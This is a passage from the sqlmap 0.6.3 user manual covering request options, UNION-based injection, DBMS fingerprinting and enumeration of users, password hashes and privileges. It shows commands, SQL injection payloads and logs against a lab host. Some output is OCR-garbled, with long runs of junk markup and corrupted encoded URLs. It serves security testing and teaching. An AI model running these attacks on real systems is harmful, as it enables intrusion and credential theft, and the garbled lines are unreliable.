Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
[hh:mm:00] [DEBUG] setting the HTTP method to perform HTTP requests through
[hh:mm:00] [DEBUG] creating HTTP requests opener object
[hh:mm:00] [DEBUG] parsing XML queries file
[hh:mm:00] [INFO] testing connection to the target url
[hh:mm:00] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: Mozilla/4.0 (compatible; MSIE 6.0; MSN 2.5; Windows 98)
Connection: close
[...]
```

Note that the HTTP User-Agent header is tested against SQL injection also if you do not overwrite the default sqlmap HTTP User-Agent header value.

Some sites perform a server-side check on the HTTP User-Agent header value and fail the HTTP response if a valid User-Agent is not provided, its value is not expected or its value is blocked by a web application firewall or similar intrusion prevention system. In this case sqlmap will show you a message as follows:

```
[hh:mm:20] [ERROR] the target url responded with an unknown HTTP status code, try to force the HTTP User-Agent header with option --user-agent or -a
```

5.1.9 HTTP Basic and Digest authentications

Options: -auth-type and -auth-cred

These options can be used to specify which HTTP authentication type the web server implements and the valid credentials to be used to perfor all HTTP requests to the target URL. The two valid types are Basic and Digest and the credentials' syntax is username:password.

Examples on a \mathbf{MySQL} 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/basic/get_int.php?id=1&cat=2" \
    --auth-type Basic --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:28] [INFO] testing connection to the target url
[hh:mm:28] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/basic/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
Authorization: Basic dGVzdHVzZXI6dGVzdHBhc3M=
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

\$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/digest/get_int.php?id=1&cat=2" \

```
--auth-type Digest --auth-cred "testuser:testpass" -v 3

[...]
[hh:mm:48] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/digest/get_int.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
Authorization: Digest username="testuser", realm="Testing digest authentication", nonce="qcL9udlSBAA=f3b77da349fcfbf1a59ba37b21e291341159598f", uri="/sqlmap/mysql/digest/get_int.php?id=1&cat=2", response="e1bf3738b4bbe04e197a12fb134e13a2", algorithm="MD5", qop=auth, nc=00000001, cnonce="df1c0902c931b640"
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[...]
```

5.1.10 HTTP proxy

Option: -proxy

It is possible to provide an anonymous HTTP proxy address to pass by the HTTP requests to the target URL. The syntax of HTTP proxy value is http://url:port.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
    --proxy "http://127.0.0.1:3128"

[hh:mm:36] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:36] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:37] [WARNING] the back-end DMBS is not MySQL
[hh:mm:37] [WARNING] the back-end DMBS is not Oracle
back-end DBMS: PostgreSQL
```

Instead of using a single anonymous HTTP proxy server to pass by, you can configure a Tor client together with Privoxy on your machine as explained on the Tor client guide then run sqlmap as follows:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" \
    --proxy "http://127.0.0.1:8118"
```

Note that 8118 is the default Privoxy port, adapt it to your settings.

5.1.11 Concurrent HTTP requests

```
Option: -threads
```

It is possible to specify the number of maximum concurrent HTTP requests that sqlmap can start when it uses the blind SQL injection technique to retrieve the query output. This feature relies on the multithreading concept and inherits both its pro and its cons.

Examples on a \mathbf{MySQL} 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 \
   -b --threads 3
```

```
[...]
back-end DBMS: MySQL >= 5.0.0

[hh:mm:08] [INFO] fetching banner
[hh:mm:08] [INFO] retrieved the length of query output: 18
[hh:mm:09] [INFO] query: IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32))
[hh:mm:09] [INFO] starting 3 threads
[hh:mm:09] [INFO] retrieved: 5.0.51a-3ubuntu5.2
[hh:mm:09] [INFO] performed 132 queries in 0 seconds
banner: '5.0.51a-3ubuntu5.2'
```

As you can see, sqlmap first calculates the length of the query output, then starts three threads. Each thread is assigned to retrieve one character of the query output. The thread then ends after approximately seven HTTP requests, the maximum to retrieve a query output character.

5.1.12 Delay in seconds between each HTTP request

Option: -delay

It is possible to specify a number of seconds to wait between each HTTP request. The valid value is a float, for instance 0.5.

5.2 Techniques

5.2.1 Test for Time Based Blind SQL injection

```
Option: -time-test
```

5.2.2 Test for UNION SELECT query SQL injection

```
Option: -union-test
```

It is possible to test if the target URL is affected by an **inband SQL injection** vulnerability. Refer to the *Techniques* section for details on this SQL injection technique.

Example on an Oracle XE 10.2.0.1 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" \
    --union-test -v 1

[...]
back-end DBMS: Oracle

[hh:mm:55] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:55] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union: 'http://192.168.1.121:80/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
NULL, NULL, NULL FROM DUAL-- AND 5601=5601&cat=2'
```

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_str.php?id=1&cat=2" \
--union-test -v 1
```

```
[...]
back-end DBMS: PostgreSQL

[hh:mm:05] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:05] [INFO] the target url could be affected by an inband sql injection vulnerability
valid union: 'http://192.168.1.121:80/sqlmap/pgsql/get_str.php?id=1' UNION ALL SELECT
NULL, NULL, NULL- AND 'QOAtA'='QOAtA&cat=2'
```

As you can see, the target URL parameter id might be also affected by an inband SQL injection. In case this vulnerability is exploitable it is strongly recommended to use it.

5.2.3 Use the UNION SELECT query SQL injection

Option: -union-use

Providing the -union-use parameter, sqlmap will first test if the target URL is affected by an **inband SQL injection** (-union-test) vulnerability then, in case it is vulnerable and exploitable, it will trigger this vulnerability to retrieve the output of the SELECT queries.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 \
  --union-use --banner
Г 1
back-end DBMS: Microsoft SQL Server 2000
[hh:mm:42] [INFO] fetching banner
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
[hh:mm:42] [INFO] confirming inband sql injection on parameter 'id'
[hh:mm:42] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:42] [INFO] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
CHAR (100) + CHAR (106) + CHAR (72) + CHAR (75)), NULL -- AND 5204=5204
[hh:mm:42] [INFO] performed 3 queries in 0 seconds
banner:
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
        Aug 6 2000 00:57:48
        Copyright (c) 1988-2000 Microsoft Corporation
        Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
```

As you can see, the vulnerable parameter (id) is affected by both blind SQL injection and exploitable inband SQL injection vulnerabilities.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 5 \
    --union-use --banner
[...]
```

```
[hh:mm:25] [INFO] the target url is affected by an exploitable inband sql injection
vulnerability
[hh:mm:25] [INFO] query: UNION ALL SELECT NULL, CONCAT(CHAR(98,108,76,79,106,78),
IFNULL(CAST(VERSION() AS CHAR(10000)), CHAR(32)), CHAR(122,110,105,89,121,65)), NULL--
AND 6043=6043
[hh:mm:25] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%2898
%2C108%2C76%2C79%2C106%2C78%29%2C1FNULL%28CAST%28VERS10N%28%29%20AS%20CHAR%2810000%29%29
%2C%2OCHAR%2832%29%29%2CCHAR%28122%2C110%2C105%2C89%2C121%2C65%29%29%2C%2ONULL--%20AND%2
06043=6043&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:25] [TRAFFIC IN] HTTP response (OK - 200):
Date: Mon, 28 Jul 2008 22:34:25 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 194
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
11tr>1tr>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>1td>
</body></html>
[hh:mm:25] [INFO] performed 3 queries in 0 seconds
                   '5.0.51a-3ubuntu5.2'
banner:
```

As you can see, the MySQL version() function (banner) output is nested (inband) within the HTTP response page, this makes the inband SQL injection exploitable.

5.3 Injection

5.3.1 String match

Option: -string

By default the distinction of a True query by a False one (basic concept for standard blind SQL injection attacks) is done comparing injected pages content MD5 hash with the original not-injected page content MD5. Not always this concept works because sometimes the page content changes at each refresh, for instance when the page has a counter, a dynamic advertisment banner or any other part of the HTML which is render dynamically and might change in time not only consequently to user's input. To bypass this limit, sqlmap makes it possible to manually provide a string which is **always** present on the not-injected page **and** on all True injected query pages, but that it is **not** on the False ones. Such information is easy for an user to retrieve, simply try to inject on the affected URL parameter an invalid value and compare original output with the wrong output to identify which string is on True page only. This way the distinction will be based upon string match and not page MD5 hash comparison.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
[...]
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
[hh:mm:50] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:50 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Connection: close
Transfer-Encoding: chunked
Content-Type: text/html
<html><body>
<b>SQL results:</b>
</body></html>Dynamic content: 1216996190
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
</body></html>Dynamic content: 1216996191
[hh:mm:51] [TRAFFIC OUT] HTTP request:
GET /sqlmap/mysql/get_int_refresh.php?id=1&cat=2 HTTP/1.1
Host: 192.168.1.121:80
User-agent: sqlmap/0.6.3 (http://sqlmap.sourceforge.net)
```

```
Connection: close
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
Date: Fri, 25 Jul 2008 14:29:51 GMT
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
X-Powered-By: PHP/5.2.4-2ubuntu5.2
Content-Length: 161
Connection: close
Content-Type: text/html
<html><body>
<b>SQL results:</b>
1td>(tt)
</body></html>Dynamic content: 1216996191
[hh:mm:51] [ERROR] url is not stable, try with --string option, refer to the user's manual
paragraph 'String match' for details
```

As you can see, the string after Dynamic content changes its value every second. In the example it is just a call to PHP time() function, but on the real world it is usually much more than that.

Looking at the HTTP responses page content you can see that the first five lines of code do not change at all. So choosing for instance the word luther as an output that is on the True page content and it is not on the False page content and passing it to sqlmap, you should be able to inject anyway.

Example on a \mathbf{MySQL} 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int_refresh.php?id=1&cat=2" \
 --string "luther" -v 1
[hh:mm:22] [INFO] testing connection to the target url
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
[hh:mm:22] [INFO] testing if GET parameter 'cat' is dynamic
[hh:mm:22] [WARNING] GET parameter 'cat' is not dynamic
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
[...]
```

As you can see, when this option is specified, sqlmap skips the URL stability test.

Consider this option a must when you are dealing with a page which content that changes itself at each refresh without modifying the user's input.

5.3.2 Force the database management system name

Option: -dbms

By default sqlmap automatically detects the web application's back-end database management system. At the moment the fully supported database management system are four:

- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server

It is possible to force the name if you already know it so that sqlmap will skip the fingerprint with an exception for MySQL to only identify if it is MySQL < 5.0 or MySQL >= 5.0. To avoid also this check you can provide instead MySQL 4 or MySQL 5.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
    --dbms "PostgreSQL"

[...]
[hh:mm:31] [DEBUG] skipping to test for MySQL
[hh:mm:31] [DEBUG] skipping to test for Oracle
back-end DBMS: PostgreSQL
```

In case you provide -fingerprint together with -dbms, sqlmap will only perform the extensive fingerprint for the specified database management system, read the following section for further details.

Note that this option is **not** mandatory and it is strongly recommended to use it **only if you are absolutely sure** about the back-end database management system. If you do not know it, let sqlmap automatically identify it for you.

5.4 Fingerprint

5.4.1 Extensive database management system fingerprint

```
Options: -f or -fingerprint
```

By default the web application's back-end database management system fingerprint is performed requesting a database specific function which returns a known static value. By comparing this value with the returned value it is possible to identify if the back-end database is effectively the one that sqlmap expected.

After identifying an injectable vector, sqlmap fingerprints the back-end database management system and performs the following queries with their specific syntax within the limits of the database architecture.

If you want to perform a more accurate database management system fingerprint based on various techniques like specific SQL dialects and inband error messages, you can provide the -fingerprint option.

The order of database management systems that sqlmap tests for is:

- MySQL
- Oracle

- PostgreSQL
- Microsoft SQL Server

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f
     [...]
     [hh:mm:02] [INFO] testing MySQL
     [hh:mm:02] [INFO] query: CONCAT(CHAR(52), CHAR(52))
     [hh:mm:02] [INFO] retrieved: 44
     [hh:mm:02] [INFO] performed 20 queries in 0 seconds
     [hh:mm:02] [INFO] confirming MySQL
     [hh:mm:02] [INFO] query: LENGTH(CHAR(52))
     [hh:mm:02] [INFO] retrieved: 1
     [hh:mm:02] [INFO] performed 13 queries in 0 seconds
     [hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1
     [hh:mm:02] [INFO] retrieved: 4
     [hh:mm:02] [INFO] performed 13 queries in 0 seconds
     [hh:mm:02] [INFO] query: DATABASE()
     [hh:mm:02] [INFO] retrieved: test
     [hh:mm:02] [INFO] performed 34 queries in 0 seconds
     [hh:mm:02] [INFO] query: SCHEMA()
     [hh:mm:02] [INFO] retrieved: test
     [hh:mm:02] [INFO] performed 34 queries in 0 seconds
     [hh:mm:02] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
     [hh:mm:02] [INFO] retrieved:
     [hh:mm:02] [INFO] performed 6 queries in 0 seconds
     [hh:mm:02] \ [INFO] \ executing \ MySQL \ comment \ injection \ fingerprint
     back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
                     comment injection fingerprint: MySQL 5.0.51
                     html error message fingerprint: MySQL
Example on an Oracle XE 10.2.0.1 target:
     $ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -v 1 -f
     [hh:mm:26] [WARNING] the back-end DMBS is not MySQL
     [hh:mm:26] [INFO] testing Oracle
     [hh:mm:26] [INFO] query: LENGTH(SYSDATE)
     [hh:mm:26] [INFO] retrieved: 9
     [hh:mm:26] [INFO] performed 13 queries in 0 seconds
     [hh:mm:26] [INFO] confirming Oracle
     [hh:mm:26] [INFO] query: SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1
     [hh:mm:26] [INFO] retrieved: 10.2.0.1.0
     [hh:mm:27] [INFO] performed 76 queries in 0 seconds
     back-end DBMS:
                       active fingerprint: Oracle 10g
                       html error message fingerprint: Oracle
```

Example on a $\mathbf{PostgreSQL}$ 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 1 -f
```

```
[...]
[hh:mm:56] [WARNING] the back-end DMBS is not Oracle
[hh:mm:56] [INFO] testing PostgreSQL
[hh:mm:56] [INFO] query: COALESCE(7, NULL)
[hh:mm:56] [INFO] retrieved: 7
[hh:mm:56] [INFO] performed 13 queries in O seconds
[hh:mm:56] [INFO] confirming PostgreSQL
[hh:mm:56] [INFO] query: LENGTH((CHR(55)))
[hh:mm:56] [INFO] retrieved: 1
[hh:mm:56] [INFO] performed 13 queries in O seconds
[hh:mm:56] [INFO] query: SUBSTR(TRANSACTION_TIMESTAMP(), 1, 1)
[hh:mm:56] [INFO] retrieved: 2
[hh:mm:56] [INFO] performed 13 queries in O seconds
back-end DBMS: active fingerprint: PostgreSQL >= 8.2.0

html error message fingerprint: PostgreSQL
```

As you can see from this last example, sqlmap first tested for MySQL, then for Oracle, then for PostgreSQL since the user did not forced the back-end database management system name.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f

[...]

[hh:mm:41] [WARNING] the back-end DMBS is not PostgreSQL

[hh:mm:41] [INFO] testing Microsoft SQL Server

[hh:mm:41] [INFO] query: LTRIM(STR(LEN(7)))

[hh:mm:41] [INFO] retrieved: 1

[hh:mm:41] [INFO] performed 13 queries in 0 seconds

[hh:mm:41] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)

[hh:mm:41] [INFO] retrieved: 0

[hh:mm:41] [INFO] performed 13 queries in 0 seconds

back-end DBMS: active fingerprint: Microsoft SQL Server 2000

html error message fingerprint: Microsoft SQL Server
```

If you want an even more accurate result, based also on banner parsing, you can also provide the -b or -banner option.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -v 1 -f -b 

[...]

[hh:mm:11] [INFO] testing MySQL

[hh:mm:11] [INFO] query: CONCAT(CHAR(52), CHAR(52))

[hh:mm:11] [INFO] retrieved: 44

[hh:mm:11] [INFO] performed 20 queries in 0 seconds

[hh:mm:11] [INFO] confirming MySQL

[hh:mm:11] [INFO] query: LENGTH(CHAR(52))

[hh:mm:11] [INFO] retrieved: 1

[hh:mm:11] [INFO] performed 13 queries in 0 seconds

[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.TABLES LIMIT 0, 1

[hh:mm:11] [INFO] retrieved: 4

[hh:mm:11] [INFO] performed 13 queries in 0 seconds
```

```
[hh:mm:11] [INFO] query: DATABASE()
[hh:mm:11] [INFO] retrieved: test
[hh:mm:11] [INFO] performed 34 queries in O seconds
[hh:mm:11] [INFO] query: SCHEMA()
[hh:mm:11] [INFO] retrieved: test
[hh:mm:11] [INFO] performed 34 queries in O seconds
[hh:mm:11] [INFO] query: SELECT 4 FROM information_schema.PARTITIONS LIMIT 0, 1
[hh:mm:11] [INFO] retrieved:
[hh:mm:11] [INFO] performed 6 queries in 0 seconds
[hh:mm:11] [INFO] query: VERSION()
[hh:mm:11] [INFO] retrieved: 5.0.51a-3ubuntu5.2
[hh:mm:12] [INFO] performed 132 queries in O seconds
[hh:mm:12] [INFO] executing MySQL comment injection fingerprint
back-end DBMS: active fingerprint: MySQL >= 5.0.2 and < 5.1
                comment injection fingerprint: MySQL 5.0.51
               banner parsing fingerprint: MySQL 5.0.51
               html error message fingerprint: MySQL
[...]
```

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -v 1 -f -b
[\ldots]
[hh:mm:03] [WARNING] the back-end DMBS is not PostgreSQL
[hh:mm:03] [INFO] testing Microsoft SQL Server
[hh:mm:03] [INFO] query: LTRIM(STR(LEN(3)))
[hh:mm:03] [INFO] retrieved: 1
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: SELECT SUBSTRING((@@VERSION), 25, 1)
[hh:mm:03] [INFO] retrieved: 0
[hh:mm:03] [INFO] performed 13 queries in 0 seconds
[hh:mm:03] [INFO] query: @@VERSION
[hh:mm:03] [INFO] retrieved: Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
        Aug 6 2000 00:57:48
       Copyright (c) 1988-2000 Microsoft Corporation
       Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
[hh:mm:08] [INFO] performed 1308 queries in 4 seconds
back-end DBMS: active fingerprint: Microsoft SQL Server 2000
               banner parsing fingerprint: Microsoft SQL Server 2000 Service Pack 0
                version 8.00.194
               html error message fingerprint: Microsoft SQL Server
```

As you can see, from the Microsoft SQL Server banner, sqlmap was able to correctly identify the database management system service pack. The Microsoft SQL Server XML versions file is the result of a sqlmap parsing library that fetches data from Chip Andrews' SQLSecurity.com site and outputs it to the XML versions file.

5.5 Enumeration

5.5.1 Banner

Option: -b or -banner

Most of the modern database management systems have a function or an environment variable which returns details on the database managemet system version. Sometimes also the operating system where the daemon has been compiled on, the operating system architecture, its service pack. Usually this function is version() or the @@version environment variable.

Example on a \mathbf{MySQL} 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" -b
banner: '5.0.51a-3ubuntu5.2'
```

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -b
banner: 'PostgreSQL 8.2.7 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)'
```

Example on an Oracle XE 10.2.0.1 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" -b
banner: 'Oracle Database 10g Express Edition Release 10.2.0.1.0 - Product'
```

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" -b
banner:
---
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
          Aug 6 2000 00:57:48
          Copyright (c) 1988-2000 Microsoft Corporation
          Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
```

5.5.2 Current user

```
Option: -current-user
```

It is possible to retrieve the database management system's user which is effectively performing the query on the database from the web application.

Example on a MySQL 5.0.51 target:

```
python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --current-user
current user: 'testuser@localhost'
```

5.5.3 Current database

```
Option: -current-db
```

It is possible to retrieve the database management system's database the web application is connected to.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --current-db
current database: 'master'
```

5.5.4 Users

Option: -users

It is possible to enumerate the list of database management system users.

Example on a PostgreSQL 8.2.7 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" --users
database management system users [3]:
[*] postgres
[*] testuser
[*] testuser2
```

5.5.5 Users password hashes

Options: -passwords and -U

It is possible to enumerate the password hashes for each database management system user.

Example on a MySQL 5.0.51 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2" --passwords

[*] debian-sys-maint [1]:
    password hash: *BBDC22D2B1E18F8628B2922864A621B32A1B1892

[*] root [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B

[*] testuser [1]:
    password hash: *00E247AC5F9AF26AE0194B41E1E769DEE1429A29
```

You can also provide the -U option to specify the user who you want to enumerate the password hashes.

Example on a Microsoft SQL Server 2000 Service Pack 0 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/mssql/get_int.php?id=1&cat=2" --passwords \
    -U sa

database management system users password hashes:
[*] sa [1]:
    password hash: 0x01000e16d704aa252b7c38d1aeae18756e98172f4b34104d8ee32c2f01b293b03edb7491f
ba9930b62ee5d506955
    header: 0x0100
    salt: 0e16d704
    mixedcase: aa252b7c38d1aeae18756e98172f4b34104d8ee3
    uppercase: 2c2f01b293b03edb7491fba9930b62ee5d506955
```

As you can see, when you enumerate password hashes on Microsoft SQL Server sqlmap split the hash, useful if you want to crack it.

5.5.6 Users privileges

Options: -privileges and -U

It is possible to enumerate the privileges for each database management system user.

Example on an Oracle XE 10.2.0.1 target:

```
$ python sqlmap.py -u "http://192.168.1.121/sqlmap/oracle/get_int.php?id=1&cat=2" --privileges
[hh:mm:25] [WARNING] unable to retrieve the number of privileges for user 'ANONYMOUS'
[hh:mm:28] [WARNING] unable to retrieve the number of privileges for user 'DIP'
database management system users privileges:
[*] CTXSYS [2]:
   privilege: CTXAPP
   privilege: RESOURCE
[*] DBSNMP [1]:
   privilege: OEM_MONITOR
[*] FLOWS_020100 (administrator) [4]:
   privilege: CONNECT
   privilege: DBA
   privilege: RESOURCE
   privilege: SELECT_CATALOG_ROLE
[*] FLOWS_FILES [2]:
   privilege: CONNECT
   privilege: RESOURCE
[*] HR (administrator) [3]:
   privilege: CONNECT
   privilege: DBA
   privilege: RESOURCE
[*] MDSYS [2]:
   privilege: CONNECT
   privilege: RESOURCE
[*] OUTLN [1]:
   privilege: RESOURCE
[*] SYS (administrator) [22]:
   privilege: AQ_ADMINISTRATOR_ROLE
   privilege: AQ_USER_ROLE
   privilege: AUTHENTICATEDUSER
   privilege: CONNECT
   privilege: CTXAPP
   privilege: DBA
   privilege: DELETE_CATALOG_ROLE
   privilege: EXECUTE_CATALOG_ROLE
   privilege: EXP_FULL_DATABASE
   privilege: GATHER_SYSTEM_STATISTICS
   privilege: HS_ADMIN_ROLE
   privilege: IMP_FULL_DATABASE
   privilege: LOGSTDBY_ADMINISTRATOR
   privilege: OEM_ADVISOR
   privilege: OEM_MONITOR
   privilege: PLUSTRACE
   privilege: RECOVERY_CATALOG_OWNER
   privilege: RESOURCE
   privilege: SCHEDULER_ADMIN
   privilege: SELECT_CATALOG_ROLE
```

```
privilege: XDBADMIN
privilege: XDBWEBSERVICES

